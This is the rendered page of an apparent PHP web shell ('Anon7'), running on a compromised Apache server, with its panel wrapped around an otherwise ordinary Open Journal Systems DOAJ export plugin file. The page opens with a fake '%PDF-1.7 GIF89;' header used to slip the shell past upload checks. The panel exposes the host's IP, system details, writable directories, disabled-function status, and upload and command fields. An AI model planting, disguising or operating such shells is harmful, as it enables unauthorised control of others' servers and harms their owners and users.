%PDF-1.7 GIF89;
shell
Server IP : 104.20.45.2  /  Your IP : 172.16.20.3
Web Server : Apache/2.4.25 (Debian)
System : Linux f64a392e70de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : application ( 1000)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /app/plugins/importexport/doaj/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /app/plugins/importexport/doaj/classes/DOAJExportDom.inc.php
<?php

/**
 * @file plugins/importexport/doaj/DOAJExportDom.inc.php
 *
 * Copyright (c) 2013-2019 Simon Fraser University
 * Copyright (c) 2003-2019 John Willinsky
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class DOAJExportDom
 * @ingroup plugins_importexport_DOAJ
 *
 * @brief DOAJ import/export plugin DOM functions for export
 */

import('lib.pkp.classes.xml.XMLCustomWriter');

class DOAJExportDom {
	/**
	 * Generate the export DOM tree for a given journal.
	 * @param $doc object DOM object
	 * @param $journal object Journal to export
	 * @param $selectedObjects array
	 */
	function generateJournalDom($doc, $journal, $selectedObjects) {
		$issueDao = DAORegistry::getDAO('IssueDAO');
		$sectionDao = DAORegistry::getDAO('SectionDAO');
		$pubArticleDao = DAORegistry::getDAO('PublishedArticleDAO');
		$articleDao = DAORegistry::getDAO('ArticleDAO');
		$journalId = $journal->getId();

		// Records node contains all articles, each called a record
		$records = XMLCustomWriter::createElement($doc, 'records');
		
		// retrieve selected issues
		$selectedIssues = array();
		if (isset($selectedObjects[DOAJ_EXPORT_ISSUES])) {
			$selectedIssues = $selectedObjects[DOAJ_EXPORT_ISSUES];
			
			// make sure the selected issues belong to the current journal
			foreach($selectedIssues as $key => $selectedIssueId) {
				$selectedIssue = $issueDao->getIssueById($selectedIssueId, $journalId);
				if (!$selectedIssue) unset($selectedIssues[$key]);
			}
		}

		// retrieve selected articles
		$selectedArticles = array();
		if (isset($selectedObjects[DOAJ_EXPORT_ARTICLES])) {
			$selectedArticles = $selectedObjects[DOAJ_EXPORT_ARTICLES];
		
			// make sure the selected articles belong to the current journal
			foreach($selectedArticles as $key => $selectedArticleId) {
				$selectedArticle = $articleDao->getArticle($selectedArticleId, $journalId);
				if (!$selectedArticle) unset($selectedArticles[$key]);
			}
		}

		$pubArticles = $pubArticleDao->getPublishedArticlesByJournalId($journalId);
		while ($pubArticle = $pubArticles->next()) {
			
			// check for selected issues:
			$issueId = $pubArticle->getIssueId();
			if (!empty($selectedIssues) && !in_array($issueId, $selectedIssues)) continue;

			$issue = $issueDao->getIssueById($issueId);
			if(!$issue) continue;
			
			// check for selected articles:
			$articleId = $pubArticle->getArticleId();
			if (!empty($selectedArticles) && !in_array($articleId, $selectedArticles)) continue;


			$section = $sectionDao->getSection($pubArticle->getSectionId());
			$articleNode = DOAJExportDom::generateArticleDom($doc, $journal, $issue, $section, $pubArticle);

			XMLCustomWriter::appendChild($records, $articleNode);

			unset($issue, $section, $articleNode);
		}

		return $records;
	}

	/**
	 * Generate the DOM tree for a given article.
	 * @param $doc object DOM object
	 * @param $journal object Journal
	 * @param $issue object Issue
	 * @param $section object Section
	 * @param $article object Article
	 */
	function generateArticleDom($doc, $journal, $issue, $section, $article) {
		$root = XMLCustomWriter::createElement($doc, 'record');

		/* --- Article Language --- */
		XMLCustomWriter::createChildWithText($doc, $root, 'language', DOAJExportDom::mapLang($article->getLanguage()), false);

		/* --- Publisher name (i.e. institution name) --- */
		XMLCustomWriter::createChildWithText($doc, $root, 'publisher', $journal->getSetting('publisherInstitution'), false);

		/* --- Journal's title --- */
		XMLCustomWriter::createChildWithText($doc, $root, 'journalTitle', $journal->getTitle($journal->getPrimaryLocale()), false);

		/* --- Identification Numbers --- */
		XMLCustomWriter::createChildWithText($doc, $root, 'issn', $journal->getSetting('printIssn'), false);
		XMLCustomWriter::createChildWithText($doc, $root, 'eissn', $journal->getSetting('onlineIssn'), false);

		/* --- Article's publication date, volume, issue, DOI --- */
		if ($article->getDatePublished()) {
			XMLCustomWriter::createChildWithText($doc, $root, 'publicationDate', DOAJExportDom::formatDate($article->getDatePublished()), false);			
		}
		else {
			XMLCustomWriter::createChildWithText($doc, $root, 'publicationDate', DOAJExportDom::formatDate($issue->getDatePublished()), false);
		}

		XMLCustomWriter::createChildWithText($doc, $root, 'volume',  $issue->getVolume(), false);

		XMLCustomWriter::createChildWithText($doc, $root, 'issue',  $issue->getNumber(), false);

		/** --- FirstPage / LastPage (from PubMed plugin)---
		 * there is some ambiguity for online journals as to what
		 * "page numbers" are; for example, some journals (eg. JMIR)
		 * use the "e-location ID" as the "page numbers" in PubMed
		 */
		$pages = $article->getPages();
		if (preg_match("/([0-9]+)\s*-\s*([0-9]+)/i", $pages, $matches)) {
			// simple pagination (eg. "pp. 3-8")
			XMLCustomWriter::createChildWithText($doc, $root, 'startPage', $matches[1]);
			XMLCustomWriter::createChildWithText($doc, $root, 'endPage', $matches[2]);
		} elseif (preg_match("/(e[0-9]+)/i", $pages, $matches)) {
			// elocation-id (eg. "e12")
			XMLCustomWriter::createChildWithText($doc, $root, 'startPage', $matches[1]);
			XMLCustomWriter::createChildWithText($doc, $root, 'endPage', $matches[1]);
		}

		XMLCustomWriter::createChildWithText($doc, $root, 'doi',  $article->getPubId('doi'), false);

		/* --- Article's publication date, volume, issue, DOI --- */
		XMLCustomWriter::createChildWithText($doc, $root, 'publisherRecordId',  $article->getPublishedArticleId(), false);

		XMLCustomWriter::createChildWithText($doc, $root, 'documentType',  $article->getType($article->getLocale()), false);

		/* --- Article title --- */
		foreach ((array) $article->getTitle(null) as $locale => $title) {
			if (empty($title)) continue;

			$titleNode = XMLCustomWriter::createChildWithText($doc, $root, 'title', $title);
			if (strlen($locale) == 5) XMLCustomWriter::setAttribute($titleNode, 'language', DOAJExportDom::mapLang(PKPString::substr($locale, 0, 2)));
		}

		/* --- Authors and affiliations --- */
		$authors = XMLCustomWriter::createElement($doc, 'authors');
		XMLCustomWriter::appendChild($root, $authors);

		$affilList = DOAJExportDom::generateAffiliationsList($article->getAuthors(), $article);

		foreach ($article->getAuthors() as $author) {
			$authorNode = DOAJExportDom::generateAuthorDom($doc, $root, $issue, $article, $author, $affilList);
			XMLCustomWriter::appendChild($authors, $authorNode);
			unset($authorNode);
		}

		if (!empty($affilList[0])) {
			$affils = XMLCustomWriter::createElement($doc, 'affiliationsList');
			XMLCustomWriter::appendChild($root, $affils);

			for ($i = 0; $i < count($affilList); $i++) {
				$affilNode = XMLCustomWriter::createChildWithText($doc, $affils, 'affiliationName', $affilList[$i]);
				XMLCustomWriter::setAttribute($affilNode, 'affiliationId', $i);
				unset($affilNode);
			}
		}

		/* --- Abstract --- */
		foreach ((array) $article->getAbstract(null) as $locale => $abstract) {
			if (empty($abstract)) continue;

			$abstractNode = XMLCustomWriter::createChildWithText($doc, $root, 'abstract', PKPString::html2text($abstract));
			if (strlen($locale) == 5) XMLCustomWriter::setAttribute($abstractNode, 'language', DOAJExportDom::mapLang(PKPString::substr($locale, 0, 2)));
		}

		/* --- FullText URL --- */
		$fullTextUrl = XMLCustomWriter::createChildWithText($doc, $root, 'fullTextUrl', Request::url(null, 'article', 'view', $article->getId()));
		XMLCustomWriter::setAttribute($fullTextUrl, 'format', 'html');

		/* --- Keywords --- */
		$keywords = XMLCustomWriter::createElement($doc, 'keywords');
		XMLCustomWriter::appendChild($root, $keywords);

		$subjects = array_map('trim', explode(';', $article->getSubject($article->getLocale())));

		foreach ($subjects as $keyword) {
			XMLCustomWriter::createChildWithText($doc, $keywords, 'keyword', $keyword, false);
		}

		return $root;
	}

	/**
	 * Generate the author export DOM tree.
	 * @param $doc object DOM object
	 * @param $journal object Journal
	 * @param $issue object Issue
	 * @param $article object Article
	 * @param $author object Author
	 * @param $affilList array List of author affiliations
	 */
	function generateAuthorDom($doc, $journal, $issue, $article, $author, $affilList) {
		$root = XMLCustomWriter::createElement($doc, 'author');

		XMLCustomWriter::createChildWithText($doc, $root, 'name', $author->getFullName());
		XMLCustomWriter::createChildWithText($doc, $root, 'email', $author->getEmail(), false);

		if(in_array($author->getAffiliation($article->getLocale()), $affilList)  && !empty($affilList[0])) {
			XMLCustomWriter::createChildWithText($doc, $root, 'affiliationId', current(array_keys($affilList, $author->getAffiliation($article->getLocale()))));
		}

		return $root;
	}

	/**
	 * Generate a list of affiliations among all authors of an article.
	 * @param $authors object Array of article authors
	 * @param $article Article
	 * @return array
	 */
	function generateAffiliationsList($authors, $article) {
		$affilList = array();

		foreach ($authors as $author) {
			if(!in_array($author->getAffiliation($article->getLocale()), $affilList)) {
				$affilList[] = $author->getAffiliation($article->getLocale()) ;
			}
		}

		return $affilList;
	}

	/* --- Utility functions: --- */

	/**
	 * Get the file extension of a filename.
	 * @param $filename
	 * @return string
	 */
	function file_ext($filename) {
		return strtolower_codesafe(str_replace('.', '', strrchr($filename, '.')));
	}

	/**
	 * Format a date by Y-m-d format.
	 * @param $date string
	 * @return string
	 */
	function formatDate($date) {
		if ($date == '') return null;
		return date('Y-m-d', strtotime($date));
	}

	/**
	 * Map a language from a 2-letter code to a 3-letter code.
	 * FIXME: This should be moved to XML and reconciled against
	 * other mapping implementations.
	 * @param $val string 2-letter language code to map
	 * @return string
	 */
	function mapLang($val) {
		switch ($val) {
			case "aa": return "aar"; break;
			case "ab": return "abk"; break;
			case "af": return "afr"; break;
			case "ak": return "aka"; break;
			case "sq": return "alb"; break;
			case "sqi": return "alb"; break;
			case "am": return "amh"; break;
			case "ar": return "ara"; break;
			case "an": return "arg"; break;
			case "hy": return "arm"; break;
			case "hye": return "arm"; break;
			case "as": return "asm"; break;
			case "av": return "ava"; break;
			case "ae": return "ave"; break;
			case "ay": return "aym"; break;
			case "az": return "aze"; break;
			case "ba": return "bak"; break;
			case "bm": return "bam"; break;
			case "eu": return "baq"; break;
			case "eus": return "baq"; break;
			case "be": return "bel"; break;
			case "bn": return "ben"; break;
			case "bh": return "bih"; break;
			case "bi": return "bis"; break;
			case "bo": return "tib"; break;
			case "bod": return "tib"; break;
			case "bs": return "bos"; break;
			case "br": return "bre"; break;
			case "bg": return "bul"; break;
			case "my": return "bur"; break;
			case "mya": return "bur"; break;
			case "ca": return "cat"; break;
			case "cs": return "cze"; break;
			case "ces": return "cze"; break;
			case "ch": return "cha"; break;
			case "ce": return "che"; break;
			case "zh": return "chi"; break;
			case "zho": return "chi"; break;
			case "cv": return "chv"; break;
			case "kw": return "cor"; break;
			case "co": return "cos"; break;
			case "cr": return "cre"; break;
			case "cy": return "wel"; break;
			case "cym": return "wel"; break;
			case "da": return "dan"; break;
			case "de": return "ger"; break;
			case "deu": return "ger"; break;
			case "dv": return "div"; break;
			case "nl": return "dut"; break;
			case "nld": return "dut"; break;
			case "dz": return "dzo"; break;
			case "el": return "gre"; break;
			case "ell": return "gre"; break;
			case "en": return "eng"; break;
			case "eo": return "epo"; break;
			case "et": return "est"; break;
			case "ee": return "ewe"; break;
			case "fo": return "fao"; break;
			case "fa": return "per"; break;
			case "fas": return "per"; break;
			case "fj": return "fij"; break;
			case "fi": return "fin"; break;
			case "fr": return "fre"; break;
			case "fra": return "fre"; break;
			case "fy": return "fry"; break;
			case "ff": return "ful"; break;
			case "ka": return "geo"; break;
			case "kat": return "geo"; break;
			case "gd": return "gla"; break;
			case "ga": return "gle"; break;
			case "gl": return "glg"; break;
			case "gv": return "glv"; break;
			case "gn": return "grn"; break;
			case "gu": return "guj"; break;
			case "ht": return "hat"; break;
			case "ha": return "hau"; break;
			case "he": return "heb"; break;
			case "hz": return "her"; break;
			case "hi": return "hin"; break;
			case "ho": return "hmo"; break;
			case "hr": return "scr"; break;
			case "hrv": return "scr"; break;
			case "hu": return "hun"; break;
			case "ig": return "ibo"; break;
			case "is": return "ice"; break;
			case "isl": return "ice"; break;
			case "io": return "ido"; break;
			case "ii": return "iii"; break;
			case "iu": return "iku"; break;
			case "ie": return "ile"; break;
			case "ia": return "ina"; break;
			case "id": return "ind"; break;
			case "ik": return "ipk"; break;
			case "it": return "ita"; break;
			case "jv": return "jav"; break;
			case "ja": return "jpn"; break;
			case "kl": return "kal"; break;
			case "kn": return "kan"; break;
			case "ks": return "kas"; break;
			case "kr": return "kau"; break;
			case "kk": return "kaz"; break;
			case "km": return "khm"; break;
			case "ki": return "kik"; break;
			case "rw": return "kin"; break;
			case "ky": return "kir"; break;
			case "kv": return "kom"; break;
			case "kg": return "kon"; break;
			case "ko": return "kor"; break;
			case "kj": return "kua"; break;
			case "ku": return "kur"; break;
			case "lo": return "lao"; break;
			case "la": return "lat"; break;
			case "lv": return "lav"; break;
			case "li": return "lim"; break;
			case "ln": return "lin"; break;
			case "lt": return "lit"; break;
			case "lb": return "ltz"; break;
			case "lu": return "lub"; break;
			case "lg": return "lug"; break;
			case "mk": return "mac"; break;
			case "mkd": return "mac"; break;
			case "mh": return "mah"; break;
			case "ml": return "mal"; break;
			case "mi": return "mao"; break;
			case "mri": return "mao"; break;
			case "mr": return "mar"; break;
			case "ms": return "may"; break;
			case "msa": return "may"; break;
			case "mg": return "mlg"; break;
			case "mt": return "mlt"; break;
			case "mo": return "mol"; break;
			case "mn": return "mon"; break;
			case "na": return "nau"; break;
			case "nv": return "nav"; break;
			case "nr": return "nbl"; break;
			case "nd": return "nde"; break;
			case "ng": return "ndo"; break;
			case "ne": return "nep"; break;
			case "nn": return "nno"; break;
			case "nb": return "nob"; break;
			case "no": return "nor"; break;
			case "ny": return "nya"; break;
			case "oc": return "oci"; break;
			case "oj": return "oji"; break;
			case "or": return "ori"; break;
			case "om": return "orm"; break;
			case "os": return "oss"; break;
			case "pa": return "pan"; break;
			case "pi": return "pli"; break;
			case "pl": return "pol"; break;
			case "pt": return "por"; break;
			case "ps": return "pus"; break;
			case "qu": return "que"; break;
			case "rm": return "roh"; break;
			case "ro": return "rum"; break;
			case "ron": return "rum"; break;
			case "rn": return "run"; break;
			case "ru": return "rus"; break;
			case "sg": return "sag"; break;
			case "sa": return "san"; break;
			case "sr": return "scc"; break;
			case "srp": return "scc"; break;
			case "si": return "sin"; break;
			case "sk": return "slo"; break;
			case "slk": return "slo"; break;
			case "sl": return "slv"; break;
			case "se": return "sme"; break;
			case "sm": return "smo"; break;
			case "sn": return "sna"; break;
			case "sd": return "snd"; break;
			case "so": return "som"; break;
			case "st": return "sot"; break;
			case "es": return "spa"; break;
			case "sc": return "srd"; break;
			case "ss": return "ssw"; break;
			case "su": return "sun"; break;
			case "sw": return "swa"; break;
			case "sv": return "swe"; break;
			case "ty": return "tah"; break;
			case "ta": return "tam"; break;
			case "tt": return "tat"; break;
			case "te": return "tel"; break;
			case "tg": return "tgk"; break;
			case "tl": return "tgl"; break;
			case "th": return "tha"; break;
			case "ti": return "tir"; break;
			case "to": return "ton"; break;
			case "tn": return "tsn"; break;
			case "ts": return "tso"; break;
			case "tk": return "tuk"; break;
			case "tr": return "tur"; break;
			case "tw": return "twi"; break;
			case "ug": return "uig"; break;
			case "uk": return "ukr"; break;
			case "ur": return "urd"; break;
			case "uz": return "uzb"; break;
			case "ve": return "ven"; break;
			case "vi": return "vie"; break;
			case "vo": return "vol"; break;
			case "wa": return "wln"; break;
			case "wo": return "wol"; break;
			case "xh": return "xho"; break;
			case "yi": return "yid"; break;
			case "yo": return "yor"; break;
			case "za": return "zha"; break;
			case "zu": return "zul"; break;
			default: return "";
		}
	}
}

?>

Anon7 - 2022
SCDN GOK